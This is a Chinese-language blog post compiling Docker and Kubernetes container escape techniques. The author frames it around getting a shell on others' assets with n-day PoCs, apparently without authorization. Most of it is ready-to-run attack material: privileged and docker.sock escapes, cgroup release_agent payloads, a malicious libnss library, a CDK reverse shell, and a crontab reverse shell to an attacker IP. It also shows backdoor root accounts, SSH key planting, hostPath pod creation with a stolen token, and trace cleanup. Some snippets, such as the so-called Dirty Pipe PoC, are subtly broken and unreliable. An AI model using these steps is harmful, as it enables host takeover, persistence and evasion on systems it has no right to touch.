由一次docker逃逸而起的docker总结

Docker技法

前言

最近在学一些常见nday的深度利用,于是就用一些nday的poc在阿美的资产里面遨游一下,正当我高高兴兴在拿下shell时,不是哥们!这玩意不对啊,怎么默认在一个为/app的目录下,其他主机反弹shell后都在root等home目录下,为什么就他不一样。定睛一看,原来是个docker,于是就趁此机会,好好汇总一下docker逃逸的技法!!!那就先从docker基础开始看看吧。

Docker基础

先判断Dcoker环境

1
ls / -la    #根目录下运行

出现关键词“.dockerenv”,如下

image-20250509215622959.png

查看Docker状态

1
sudo systemctl status docker

列出所有docker环境

1
2
docker ps -a   #所有,报错未存活
docker ps #存活的docker

容器的详细信息

1
docker inspect <container-id or name>

进入运行中的容器bash

1
2
3
docker exec -it <container-id or name> bash
docker exec -it <container-id or name> sh
docker exec -u 0 -it <container-id or name> bash #root进入运行

查看Docker的版本(内部、宿主机通用)

1
2
docker -v
docker version #更加详细

Docker渗透

Docker是主机下的镜像容器,他的bash、sh,并不等同于主机。相当于物理机下的虚拟机。有时候部分web站点可能就是docker搭建的,对于主机而言看似安全,其实不然。docker中也可能含有对主机有害的信息、渗透点,所以对于docker,我就总结了两种渗透方式,不过在这之前我们还是来了解了解docker的一个机制。挂载!

挂载

在docker中,挂载是一个很重要的概念,它往往与我们在渗透利用中挂钩,挂载大概来说就是docker的目录与宿主机的目录之间形成的映射,docker修改目录的内容,其宿主机默认也会进行同样的操作。但是docker会多一层权限限制,不过如果权限得当,则可以通过docker查看、修改、写入、执行文件,从而改变宿主机的目录、文件。

挂载的细节可以查看:https://blog.csdn.net/wang2leee/article/details/134453249

常规挂载操作

1
2
3
4
5
#在启动docker时进行挂载:
docker run -v /proc:/host_proc 把宿主机的/proc挂载到docker的/host_proc

#在docker内查看宿主机与docker的挂载关系
mount

image-20250512161414119

上述proc、devpts这种没有指定目录的挂载一般是docker的默认挂载,对我们的渗透没什么帮助,可以忽略。不过如果是以/proc开始,我们就要仔细关注了,光挂载是不够的,我们还要看看其挂载之后的属性带来的阻碍和利用。

所以我们从渗透的角度,看看挂载结果后面括号中的属性

属性 作用 渗透利用示例 防御建议
ro/rw 控制文件系统只读或读写 rw 权限下,可篡改 /etc/passwd,添加后门账户: echo 'eviluser:x:0:0::/:/bin/sh' >> /etc/passwd 关键目录(如 /etc)强制设为 ro
nosuid 禁用 SUID/SGID 权限 若未设置,可利用 SUID 程序提权(如 find / -perm -4000 查找可利用的 SUID 文件) 所有用户可控挂载点强制启用 nosuid
nodev 禁止创建设备文件 若未设置,可创建磁盘设备文件并挂载宿主机磁盘: mknod /dev/sda1 b 8 1 && mount /dev/sda1 /mnt 容器和非特权挂载点强制启用 nodev
noexec 禁止执行二进制文件 若未设置,可在可写目录(如 /tmp)上传并执行恶意程序: gcc exploit.c -o /tmp/exp && /tmp/exp 临时目录和用户可控分区启用 noexec
size= 限制文件系统大小(如 tmpfs 通过填满内存文件系统触发 DoS: dd if=/dev/zero of=/dev/shm/fill bs=1M count=65536 限制 size=64M 并监控使用情况
relatime 仅在文件修改时更新访问时间 通过监控访问时间推断敏感操作(如读取密钥文件): stat -c %x /etc/shadow 对敏感文件使用 noatime 完全禁用访问时间记录
mode= 设置目录/文件权限 若权限过松(如 mode=777),可篡改配置文件: echo 'ALL ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers 遵循最小权限原则(如 mode=755 目录、644 文件)
inode64 允许 64 位 inode(用于大容量存储) 结合文件系统漏洞绕过路径限制(如利用 XFS inode 溢出漏洞 CVE-2018-14634)https://github.com/luan0ap/cve-2018-14634 仅在内核 ≥4.16 时启用,并定期更新内核
gid= 设置默认组 ID 若组权限配置错误(如 gid=0),可通过组权限读取敏感文件: ls -l /etc/shadow → 发现组为 root 可读 避免将敏感目录的组 ID 设为特权组(如 gid=0
ptmxmode= 设置伪终端设备权限 若权限过松(如 ptmxmode=666),可劫持终端会话: cat /dev/ptmx > /tmp/log 设置为 ptmxmode=620 并限制访问组
lowerdir= OverlayFS 的只读层路径 路径遍历漏洞(如 CVE-2021-41091): mkdir /merged && mount -t overlay overlay -o lowerdir=/etc,upperdir=/upper,workdir=/work /merged → 通过 /merged/passwd 读取宿主机文件 严格限制 lowerdir 路径,禁止包含敏感目录
nsdelegate 启用 Cgroup 命名空间委托 通过创建子 Cgroup 绕过资源限制(如 CPU/内存): mkdir /sys/fs/cgroup/cpu/attacker && echo $$ > /sys/fs/cgroup/cpu/attacker/tasks 仅在需要时启用,配合 memory_recursiveprot
memory_recursiveprot 防止子 Cgroup 绕过内存限制 若未设置,可在子 Cgroup 中禁用内存限制: echo 0 > /sys/fs/cgroup/memory/attacker/memory.limit_in_bytes Cgroup v2 强制启用此参数

基础了解完了,我们就步入正题——docker渗透!!!

1、信息泄露

当我们拿下了docker的shell之后,可能docker中的服务会有一些敏感信息泄露,例如nacos等服务其中可能就含有数据库的连接文件之类的。还有就是挂载了宿主的一些目录也可能存在一些泄露,如下面

1
mount | grep -E '/etc|/dev|/proc|/sys|/var/run'   #通过检索可能的敏感挂载

检索到了下面的内容,我们进一步看一看

image-20250511221845486

我最先关注点在/dev/sda

一般而言/dev/sda就是宿主机主要磁盘,其中会包含/dev/sda1、/dev/sda2、/dev/sda3等多个分区…,其中就挂载着根目录,所以我们的关注点大多在这个挂载之下,那就看看上面的/dev/sda2挂载情况

image-20250511222229544

看看这是什么?就不用多说了吧,hiahia!!!其次可以猜测,/dev/sda2可能是根目录,我们可以试试直接访问,不过试过不怎么行

紧接着我了解一下docker逃逸

2、Docker逃逸

在一些特定的情况下,可能存在从Docker逃逸到主机的方法,下面我们来一一介绍

Docker逃逸思路:

1、危险配置导致的逃逸

2、软件主键导致的逃逸

3、内核漏洞逃逸

4、网络与API攻击

5、特殊环境逃逸


一、危险配置导致的逃逸

1. Docker UNIX Socket 挂载

Docker UNIX Socket(/var/run/docker.sock)是Docker守护进程(dockerd)与客户端通信的接口,默认以root权限运行。当容器挂载此Socket时,容器内的进程可通过Socket直接与宿主机Docker守护进程交互,继承守护进程的高权限,从而绕过容器隔离限制,实现对宿主机的控制。

前置:容器启动时挂载宿主 /var/run/docker.sock

1
2
# 在运行alpine容器时挂载 Docker Socket
docker run -v /var/run/docker.sock:/var/run/docker.sock -it alpine sh

利用:调用 Docker API 创造特权容器并挂载宿主文件系统

1
2
3
# 进入容器后查看是否有挂载
ls -l /var/run/docker.sock # 检查文件是否存在
mount | grep docker.sock # 确认挂载来源

image-20250511215801938

上面就是没有挂载。若输出显示 docker.sock 的属主为 root 且权限为 rw(如 srw-rw---- 1 root docker),则运行下面命令来逃逸

1
2
docker -H unix:///var/run/docker.sock run -v /:/host --privileged -it --rm alpine chroot /host sh
#这个命令相当于在docker内部建立了一个,宿主机的根目录下的root的shell命令行

执行后即可以 root 身份访问宿主 / 目录。

2. 特权模式(–privileged)

通过赋予容器与宿主机相同的 root 权限,绕过命名空间隔离,使可能够直接挂载宿主机文件系统(如 -v /:/host)并通过 chroot 切换根目录,从而在容器内获得宿主机 root shell 的完整控制权,实现容器到宿主机的权限突破。

前置:容器以特权模式启动

1
docker run --privileged -v /:/mnt -it alpine sh

利用:挂载宿主磁盘并 chroot

1
2
cat /proc/self/status | grep CapEff  # 特权容器 CapEff=0000003fffffffff
mount | grep '/mnt' # 查看是否挂载宿主机根目录

image-20250511220209342

这明显就没有以特权启动docker,而是以普通权限CapEff: 00000000a80425fb,如果是以高权限用户,则使用一下命令即可逃逸

1
2
3
# 在容器内
mount /dev/sda1 /mnt # 挂载宿主根分区
chroot /mnt /bin/sh # 切换到宿主环境

之后可直接修改 /etc/passwd、植入 SSH 公钥等。


接下来就是有些危险挂载

3.Procfs 危险挂载


1. Procfs 挂载原理

/proc目录 是 Linux 内核提供的虚拟文件系统,用于实时暴露进程、硬件、内核参数等信息。如果容器开启时挂载了宿主机的/proc目录,我们则可以通过docker直接访问到主机的进程信息。

1、读取环境变量:目录/proc/1/environ,其中含有关键信息,并且如果配置不当会可以用于提权,这里扔一个环境变量提权的方法汇总:https://www.anquanke.com/post/id/146799#h2-0)

2、内核漏洞利用:通过 /proc/sys/kernel 可写路径(如 core_pattern)或符号链接(如 /proc/[PID]/root),触发内核漏洞(如 Dirty Pipe)或直接访问宿主机文件系统。

3、敏感信息泄露/proc/self/mountinfo 泄露容器运行时路径,/proc/1/environ 泄露宿主机环境变量。


2. Procfs 探测方法

2.1 基础检测

1
2
# 检查是否挂载宿主机 /proc
mount | grep '/proc' | grep -v 'tmpfs' #有弊端,需要自己判断一下

image-20250513150714102

上面这种情况就是属于docker自身的进程,默认挂载,只有出现/proc on /xxx_proc这种最前面时/proc时才是挂载了宿主机的进程

1
2
#假设把宿主的/proc挂载到了/host_proc,则如下进行,验证读写权限(示例输出:rw 表示可写)
grep '/host_proc' /proc/self/mountinfo | grep -o 'rw' | xargs -I {} echo "[!] /proc 权限: {}"

2.2 信息泄露验证

1
2
3
4
5
# 查看宿主机进程树(PID 1 是否为 dockerd?)
cat /host_proc/1/cmdline | tr '\0' ' '

# 检查宿主机内核版本(判断漏洞影响)
cat /host_proc/version | grep -E "5\.8|5\.10|5\.15" # Dirty Pipe 影响范围

3. Procfs 利用方法

3.1 信息收集

1
2
# 定位宿主机容器运行时路径(如 runC、Docker)
cat /host_proc/1/mountinfo | grep 'docker/containers' | awk '{print $5}'

3.2 Dirty Pipe 覆盖宿主机二进制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 1. 编写 PoC 覆盖宿主机 runC(需内核版本符合条件)
cat > exploit.c <<EOF
#include <fcntl.h>
#include <unistd.h>
int main(int argc, char **argv) {
int fd = open(argv[1], O_RDWR);
lseek(fd, 0, SEEK_SET);
write(fd, "MALICIOUS_BYTES", 14); # 替换为恶意代码
close(fd);
}
EOF

# 2. 编译并攻击
gcc exploit.c -o exploit
./exploit /host_proc/usr/bin/runc # 路径需根据信息收集调整

3.3 符号链接穿透

1
2
# 通过宿主机 PID 1 的 root 链接访问文件
cat /host_proc/1/root/etc/shadow # 直接读取宿主机 Shadow 文件

4.Cgroup 危险挂载

1. Cgroup 挂载原理

  • 功能:Cgroup 是 Linux 资源控制机制,用于限制进程的 CPU、内存等资源。
  • 风险点:
    • release_agent 逃逸:若容器挂载可写的宿主机 Cgroup(如 -v /sys/fs/cgroup:/host_cgroup),可配置 release_agent 在宿主机执行任意命令。
    • 资源耗尽攻击:滥用 Cgroup 子系统(如 memory)触发内核 OOM Killer,干扰宿主机服务。
    • 子系统漏洞:特定子系统(如 devices)配置错误可能导致权限提升。

2. Cgroup 探测方法

2.1 基础检测

1
2
# 检查是否挂载宿主机 Cgroup
mount | grep '/sys/fs/cgroup' | grep -v 'tmpfs'

image-20250513151757240

这也是dockers自身的默认挂载,只有出现/sys/fs/cgroup on /xxx_cgroup这种才是有漏洞的

1
2
3
#如果挂载了/sys/fs/cgroup,验证读写权限(示例输出:rw 表示可写)

grep '/host_cgroup' /proc/self/mountinfo | grep -o 'rw' | xargs -I {} echo "[!] Cgroup 权限: {}"

2.2 release_agent 漏洞验证

1
2
3
4
5
6
7
8
9
10
11
12
# 尝试写入 release_agent(路径需宿主机可访问)
echo "/tmp/payload" > /host_cgroup/release_agent 2>/dev/null
if [ $? -eq 0 ]; then
echo "[!] release_agent 可配置,存在逃逸风险!"
fi

# 检查是否允许创建新 Cgroup
mkdir -p /host_cgroup/test && mount -t cgroup -o memory cgroup /host_cgroup/test 2>/dev/null
if [ $? -eq 0 ]; then
echo "[!] 可创建新 Cgroup(高危)!"
umount /host_cgroup/test && rmdir /host_cgroup/test
fi

3. Cgroup 利用方法

3.1 release_agent 逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 1. 创建恶意 Cgroup
cg_dir="/host_cgroup/exploit"
mkdir -p $cg_dir
echo 1 > $cg_dir/notify_on_release # 启用释放通知

# 2. 设置宿主机执行路径(需路径转换,如 Docker 路径)
host_path=$(cat /proc/self/mountinfo | grep 'docker/overlay2' | awk '{print $4}' | cut -d '/' -f 1-4)
echo "$host_path/tmp/payload.sh" > /host_cgroup/release_agent

# 3. 编写 Payload
cat > /tmp/payload.sh <<EOF
#!/bin/sh
echo "eviluser:x:0:0::/:/bin/sh" >> /etc/passwd # 添加 root 用户
EOF
chmod +x /tmp/payload.sh

# 4. 触发执行
sh -c "echo \$\$ > $cg_dir/cgroup.procs" # 进程退出时触发

3.2 资源耗尽攻击

1
2
3
4
5
6
# 创建内存限制 Cgroup 并触发 OOM
mkdir -p /host_cgroup/memory/oom_test
echo "1000000" > /host_cgroup/memory/oom_test/memory.limit_in_bytes
echo "0" > /host_cgroup/memory/oom_test/memory.swappiness
echo $$ > /host_cgroup/memory/oom_test/cgroup.procs
tail /dev/zero | head -c 1000000000 # 触发 OOM Killer

二、软件组件漏洞利用

1. runC 漏洞(CVE‑2019‑5736)

可通过容器内恶意进程利用 /proc/[runc-PID]/exe 路径访问宿主机上的 runc 二进制文件,以可写方式覆盖其内容,当宿主机管理员执行 docker exec 等操作时,触发被篡改的 runc 执行任意代码(如反弹 Shell 或修改系统文件),最终以宿主机 root 权限突破容器隔离实现逃逸

前置:宿主 Docker ≤18.09.2,runC 未修补

1
2
3
4
5
6
7
# 在容器内下载并编译 PoC
git clone https://github.com/Frichetten/CVE-2019-5736-PoC.git
cd CVE-2019-5736-PoC
go build main.go
./main

要修改Poc中反弹shell的命令

成功后 PoC 会在宿主机 /tmp 下生成反弹 Shell。

很遗憾这个docker的版本太高了

image-20250513153041460

不过也试试,可以看到好像是成功了,但是还是监听状态,等一阵之后再去看,貌似确实没上东西,希望不大

image-20250513153940564

无从下手啊,看下一个

2. docker cp 符号链接漏洞(CVE‑2019‑14271)

1. 漏洞核心机制

Docker 的 docker cp 命令在复制文件时,会调用辅助进程 docker-tar,该进程以宿主机 root 权限运行且 未完全容器化(未隔离 seccomp/cgroups)。当 docker-tar 通过 chroot 进入容器文件系统时,会加载容器内的动态库(如 libnss_files.so),而可替换这些库注入恶意代码。所以说总的来说也是一个监听,需要宿主机进行交互才能实现

2. 漏洞利用步骤

(1)前置条件

  • Docker 版本:19.03.1以上以及18.09以下都不受影响
  • 容器权限:普通权限容器即可,无需特权模式

大概思路:

1、找到libnss_files.so.2的源码,一般选取nss路径下的files-init.c源文件。

2、在源码中加入链接时启动代码(run_at_link),并定义要执行的恶意函数。

(2)注入恶意动态库

  1. 编译恶意 so 库:找到libnss_files.so.2的源码(https://ftp.gnu.org/gnu/glibc/glibc-2.31.tar.bz2下载glibc库,这里以`nss`路径下的`files-init.c`源文件为例),添加恶意代码。以下是一段示例恶意代码(实际操作中可根据测试需求修改):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
bool is_priviliged();
__attribute__ ((constructor)) void run_at_link(void)
{
char * argv_break[2];
if (!is_priviliged())
return;
rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
if (!fork())
{
// Child runs breakout
argv_break[0] = strdup("/breakout");
argv_break[1] = NULL;
execve("/breakout", argv_break, NULL);
}
else
wait(NULL); // Wait for child
return;
}
bool is_priviliged()
{
FILE * proc_file = fopen("/proc/self/exe", "r");
if (proc_file != NULL)
{
fclose(proc_file);
return false; // can open so /proc exists, not privileged
}
return true; // we're running in the context of docker-tar
}

使用 GCC 等编译器将修改后的源码编译成恶意的libnss_files.so.2库。假设源码文件名为malicious_libnss.c,在终端执行编译命令gcc -shared -fPIC -o libnss_files.so.2 malicious_libnss.c

准备恶意执行脚本(breakout 程序):编写一个简单的脚本作为恶意执行的程序,例如创建一个文件来证明漏洞利用成功。在测试主机上创建breakout文件,内容如下:

1
2
#!/bin/bash
echo "Exploit successful!" > /tmp/exploit_success.txt

赋予breakout文件可执行权限,执行chmod +x breakout

将恶意文件放入容器:将编译好的恶意libnss_files.so.2breakout文件复制到运行中的容器内。执行docker cp libnss_files.so.2 vulnerable:/lib/x86_64-linux-gnu/docker cp breakout vulnerable:/vulnerable为容器名称。

当主机上执行docker cp命令,从容器内复制文件到宿主机,触发漏洞。例如执行docker cp vulnerable:/etc/passwd /tmp/ ,此时会触发恶意libnss_files.so.2中的代码。执行完docker cp命令后,检查测试主机上的/tmp/exploit_success.txt文件是否存在。若存在,则说明漏洞复现成功,证明宿主机执行了容器内恶意代码。

漏洞复现全过程:https://blog.csdn.net/qq_41667409/article/details/121557358

很明显我这个docker版本肯定不存在该逃逸漏洞,主要证明就是,docker下的lib/x86_64-linux-gnu/都没有libnss_files.so.2文件

3. containerd‑shim 漏洞(CVE‑2020‑15257)

可在以 --net=host 模式启动的容器(需 root 权限)中,通过访问宿主机共享网络命名空间内的 containerd-shim 抽象 Unix 域套接字,调用其暴露的 API(如创建新容器或执行命令)并挂载宿主机根目录到容器路径,从而以宿主机 root 权限突破容器隔离并控制宿主机。

前置

Docker 版本:containerd <1.3.9 或 <1.4.3(Docker 版本通常对应 19.03.6 及以下)

容器启动方式:需以 --net=host 模式运行,共享宿主机的网络命名空间,暴露 containerd-shim 的抽象 Unix 域套接字

1
docker run --net=host -it --pid=host alpine sh

2. 漏洞检测

  1. 确认容器网络模式

    在容器内执行:

    1
    cat /proc/net/unix | grep 'containerd-shim' | grep '@'

    若输出类似

    1
    @/containerd-shim/{sha256}.sock

    的路径,则存在暴露的套接字


3. 利用工具(自动化工具 CDK)

  1. 上传 CDK 到容器

    • 若容器支持文件上传,直接下载并赋予执行权限:

      1
      2
      wget https://github.com/cdk-team/CDK/releases/download/v1.5.0/cdk_linux_amd64 -O cdk
      chmod +x cdk
    • 若容器无网络,可通过 nc 传输文件:

      1
      2
      3
      4
      5
      # 宿主机监听端口(假设端口为 9999)
      nc -lvp 9999 < cdk
      # 容器内接收文件
      cat < /dev/tcp/宿主机IP/9999 > cdk
      chmod +x cdk
  2. 执行逃逸命令

    • 反弹 Shell 到攻击机(需攻击机监听端口):

      1
      ./cdk run shim-pwn reverse 攻击机IP 监听端口
    • 直接执行宿主机命令

      1
      ./cdk run shim-pwn "echo 'root::0:0::/:/bin/bash' >> /host_fs/etc/passwd"  # 示例:修改宿主机密码文件

4. 手动利用(调用 containerd-shim API)

  1. 定位套接字路径
    通过 /proc/net/unix 获取 containerd-shim 套接字路径(如 @/containerd-shim/abc123.sock

  2. 调用 API 创建恶意容器
    使用工具(如 grpcurl)与套接字交互,创建挂载宿主机根目录的容器:

    1
    2
    3
    # 示例:通过创建新容器挂载宿主机根目录到容器内
    grpcurl -unix /containerd-shim/abc123.sock containerd.runtime.v1.Shim/CreateTask \
    <<< '{"id":"evil", "bundle":"/tmp", "rootfs": ["type=bind,source=/,destination=/host_fs,options=rbind"]}'

    成功挂载后,通过容器内的 /host_fs 目录可直接读写宿主机文件系统

  3. 提权与持久化

    写入 SSH 公钥

    1
    echo 'ssh-rsa AAAAB3NzaC1y...' >> /host_fs/root/.ssh/authorized_keys

    修改 crontab

    1
    echo "* * * * * root bash -c 'bash -i >& /dev/tcp/攻击机IP/端口 0>&1'" > /host_fs/etc/crontab

三、内核漏洞逃逸

为什么使用内核提权,因为Dcoker和宿主机是共享一个内核的,所以内核提权可以在Docker中实现提权的,但此处的提权仅限于在Docker内部,难道就不能实现docker逃逸了吗?可以,但是需要在特殊情况下!!!以下两种情况:

场景 是否逃逸到宿主机 依赖条件
仅容器内提权 漏洞仅覆盖容器内文件(如容器内 /etc/passwd),未挂载宿主机目录或调用宿主机接口。
宿主机逃逸 需满足 任意一项: 1. 容器挂载宿主机敏感目录(如 -v /:/host,挂载根目录)。 2. 容器拥有高危权限(如 CAP_DAC_READ_SEARCH)。

前置条件查看

查看挂载配置

1
mount | grep -E '/etc|/dev|/proc|/sys|/var/run'

危险挂载示例:

1
/dev/sda1 on /host_fs type ext4 (rw)  # 宿主机根目录被挂载且可写,在大多数 Linux 系统中,/dev/sda1 通常就是宿主机的根分区(/)。

如果挂在了根目录,我们就可以把/host类比宿主机的根目录一样,例如:执行cat /host_fs/etc/passwd,效果就等同于在宿主机上执行cat /etc/passwd


2. 检查容器的 Capabilities(高危权限)

1
cat /proc/1/status | grep CapEff

输出解读:

  • CapEff: 0000003fffffffff → 拥有几乎所有权限(特权容器)。
  • CapEff: 00000000a80425fb → 普通权限(安全配置)。

1. Dirty Pipe(CVE‑2022‑0847)

Dirty Pipe 是 Linux 内核 5.8 及以上版本中存在的一个本地提权漏洞,允许非特权用户通过覆写只读文件的页面缓存(如 /etc/passwd)实现权限提升。其核心原理是管道缓冲区标志位 PIPE_BUF_FLAG_CAN_MERGE 未正确初始化,导致可可通过拼接(splice)和写入(write)操作覆盖目标文件内容

前置:Linux 内核 ≥5.8 且未打补丁

1
2
3
4
5
6
7
uname -a  # 检查内核版本是否符合漏洞范围

git clone https://github.com/JlSakuya/CVE-2022-0847-container-escape.git
cd CVE-2022-0847-container-escape
gcc exploit.c -o exploit
msfvenom -p linux/x64/exec CMD="bash" -f elf > shell.elf
./exploit /usr/bin/runC shell.elf

PoC 会将 runC 替换为可执行 Shell 的 ELF,执行 docker exec 即获得宿主 Shell。

配合

挂载的利用就很轻松了,这里直接给出配合高危权限(CapEff: 0000003fffffffff)的利用过程

步骤 1:确认容器权限

1
2
# 在容器内检查 Capabilities
cat /proc/1/status | grep CapEff
  • 输出示例
    CapEff: 0000003fffffffff(包含 CAP_DAC_READ_SEARCH,16进制值中的第2位为 1)。

步骤 2:获取宿主机文件句柄

利用 open_by_handle_at 系统调用访问宿主机文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 示例代码:获取宿主机 /etc/passwd 的文件描述符
#define _GNU_SOURCE
#include <fcntl.h>
#include <sys/types.h>

int main() {
struct file_handle *handle;
int mount_id;
char buf[256];

// 获取挂载点信息(需 CAP_DAC_READ_SEARCH)
sprintf(buf, "/etc/passwd");
handle = (struct file_handle *)malloc(sizeof(struct file_handle) + 256);
handle->handle_bytes = 256;

// 调用 open_by_handle_at
int fd = open_by_handle_at(AT_FDCWD, handle, O_RDWR);
return fd; // 返回文件描述符
}
  • 编译并运行:

    1
    2
    gcc get_fd.c -o get_fd
    ./get_fd

步骤 3:结合 Dirty Pipe 覆盖文件

使用 Dirty Pipe EXP(如 CVE-2022-0847 PoC)修改宿主机文件:

1
2
# 通过获取的文件描述符覆盖宿主机 /etc/passwd
./dirtypipe /proc/self/fd/<返回的fd> 1 "evilroot::0:0::/:/bin/bash\n"
  • 关键参数:
    • /proc/self/fd/<fd>:通过文件描述符指向宿主机文件。
    • 1:从文件第1字节后开始覆盖。
    • evilroot::...:添加无密码 root 用户。

步骤 4:验证逃逸

在宿主机执行:

1
su evilroot  # 直接获得宿主机 root 权限

后面的利用利用过程是差不多的,只是利用路径、内核提权的方式不同,所以依葫芦画瓢去做就行了,just do it!!!

2. Dirty COW(CVE‑2016‑5195)

通过触发 Linux 内核内存管理子系统中的写时复制(Copy-on-Write)竞态条件漏洞,在容器内以普通用户权限对宿主机挂载的只读文件(如 /etc/passwd)发起并发内存映射操作(madvisemprotect),绕过文件权限检查,直接修改宿主机文件内容(如插入 evilroot::0:0::/:/bin/bash),从而在宿主机层面注入特权用户,最终通过 su 或 SSH 认证获得宿主机 root 权限,穿透容器命名空间隔离。

前置:内核未修补 Dirty COW

1
2
3
4
git clone https://github.com/mdsecactive/DirtyCOW.git
cd DirtyCOW
gcc dirtyc0w.c -o dirtyc0w -pthread
./dirtyc0w /etc/passwd "root::0:0:root:/root:/bin/bash"

/etc/passwd 中 root 密码字段清空,实现本地提权。

3. Polkit 提权(CVE‑2021‑4034 PwnKit)

可在容器内通过伪造环境变量(如 GCONV_PATH)诱使宿主机上的 pkexec 工具加载恶意代码,利用其 SUID 权限以宿主机 root 身份执行任意命令(如反弹 Shell 或篡改文件),从而突破容器隔离控制宿主机。

前置:Polkit (pkexec) 未修补

1
2
3
4
git clone https://github.com/antonioCoco/PwnKit.git
cd PwnKit
gcc pwn.c -o pwnkit
./pwnkit

利用 pkexec 漏洞获得 root,然后结合挂载进入宿主系统。


四、网络与 API 攻击

1. 未授权 Docker Remote API

未配置认证的 Docker Remote API(如 2375 端口)远程创建privileged特权容器,或挂载宿主机根目录(如 -v /:/mnt),利用容器内进程对挂载目录的读写权限直接篡改宿主机敏感文件(如 /root/.ssh/authorized_keys/etc/crontab),从而植入后门或反弹 Shell,最终绕过容器隔离以宿主机 root 权限执行任意命令

前置:Docker daemon 暴露 2375 端口且无 TLS 认证

1
2
3
# 远程拉取并运行特权容器
docker -H tcp://TARGET:2375 pull alpine
docker -H tcp://TARGET:2375 run -v /:/host --privileged -it alpine chroot /host sh

获得宿主机 root Shell。

2. Kubernetes API 滥用

Kubernetes错误配置,导致可以创建Pod,通过给 Kubernetes 集群中配置不当的 RBAC 权限或 Pod 安全策略(如允许创建特权容器或挂载宿主机目录),利用 API 创建挂载宿主机根目录(如 hostPath: /)的恶意 Pod,在容器内直接读写宿主机文件系统(如篡改 /etc/crontab 或写入 SSH 密钥),从而以宿主机 root 权限执行任意命令,突破容器隔离控制集群节点。

前置:容器内可访问 /var/run/secrets/kubernetes.io/serviceaccount,需要用户登录认证,保证能使用Kubernetes API

1
2
3
4
5
6
7
8
9
10
11
# 提取 Token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)

# 提取 CA 证书
CA_CERT="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"

# 获取当前命名空间(通常为 Pod 所属的 Namespace)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)

# 获取 Kubernetes API Server 地址(通常是内部地址)
API_SERVER="https://kubernetes.default.svc"

2. 配置 kubectl 使用 ServiceAccount Token

如果容器内已安装 kubectl,可直接配置临时访问:

1
2
3
4
5
# 生成临时 kubeconfig 文件
kubectl config set-cluster k8s --server="$API_SERVER" --certificate-authority="$CA_CERT"
kubectl config set-credentials sa-user --token="$TOKEN"
kubectl config set-context sa-context --cluster=k8s --user=sa-user --namespace="$NAMESPACE"
kubectl config use-context sa-context

3. 创建挂载宿主机目录的恶意 Pod

使用提供的 YAML 文件 escape-pod.yaml(下面):

1
2
3
4
5
# 检查是否具备创建 Pod 的权限
kubectl auth can-i create pods --as=system:serviceaccount:$NAMESPACE:default

# 提交恶意 Pod 配置
kubectl apply -f escape-pod.yaml

4. 进入恶意 Pod 并逃逸到宿主机

1
2
3
4
5
6
7
8
# 进入 Pod 的容器
kubectl exec -it hostpath-escape -- sh

# 通过 chroot 切换根目录到宿主机文件系统
chroot /host sh

# 此时已进入宿主机环境,可执行任意操作
echo "evilroot::0:0::/:/bin/bash" >> /etc/passwd # 示例:添加后门用户

5. 清理痕迹(可选)

1
2
# 删除恶意 Pod
kubectl delete pod hostpath-escape

kubectl 工具时的替代方案(直接调用 API)

若容器内无 kubectl,可使用 curl 直接操作 Kubernetes API:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 步骤1:在容器内提取集群信息
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CA_CERT="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
API_SERVER="https://kubernetes.default.svc"

# 步骤2:生成恶意 Pod YAML 文件
cat <<EOF > escape-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: hostpath-escape
spec:
containers:
- name: escape
image: alpine
command: ["sh","-c","sleep 3600"]
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
EOF

# 步骤3:构造 API URL 并发送请求
API_URL="$API_SERVER/api/v1/namespaces/$NAMESPACE/pods"
curl -k -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/yaml" \
--data-binary @escape-pod.yaml \
--cacert "$CA_CERT" \
"$API_URL"

利用 ServiceAccount Token 调用 kubectl 创建此 Pod。


五、特殊环境逃逸

1. macOS 容器逃逸

前置:Docker Desktop for Mac 使用 HyperKit

1
2
3
4
# 挂载宿主 docker.sock 并启动
docker run -v /var/run/docker.sock:/var/run/docker.sock -it alpine sh
# 同“Unix Socket 挂载”方法,创建特权容器
docker -H unix:///var/run/docker.sock run -v /:/host --privileged -it alpine chroot /host sh

集成在多数通用 PoC 工具中。

2. Windows 容器逃逸

前置:利用 Hyper‑V 隔离或 Windows 内核漏洞

1
2
3
# 在 Windows 容器内下载并执行 PoC
Invoke-WebRequest -Uri https://example.com/CVE-2021-34484-WindowsEscape.exe -OutFile C:\exploit.exe
.\exploit.exe

PoC 会利用指定 CVE 提权并脱离容器沙箱。


清理痕迹

1
2
docker container prune -f
docker image prune -af

由一次docker逃逸而起的docker总结
http://example.com/2025/05/13/由一次docker逃逸而起的docker总结/
作者
Yf3te
发布于
2025年5月13日
许可协议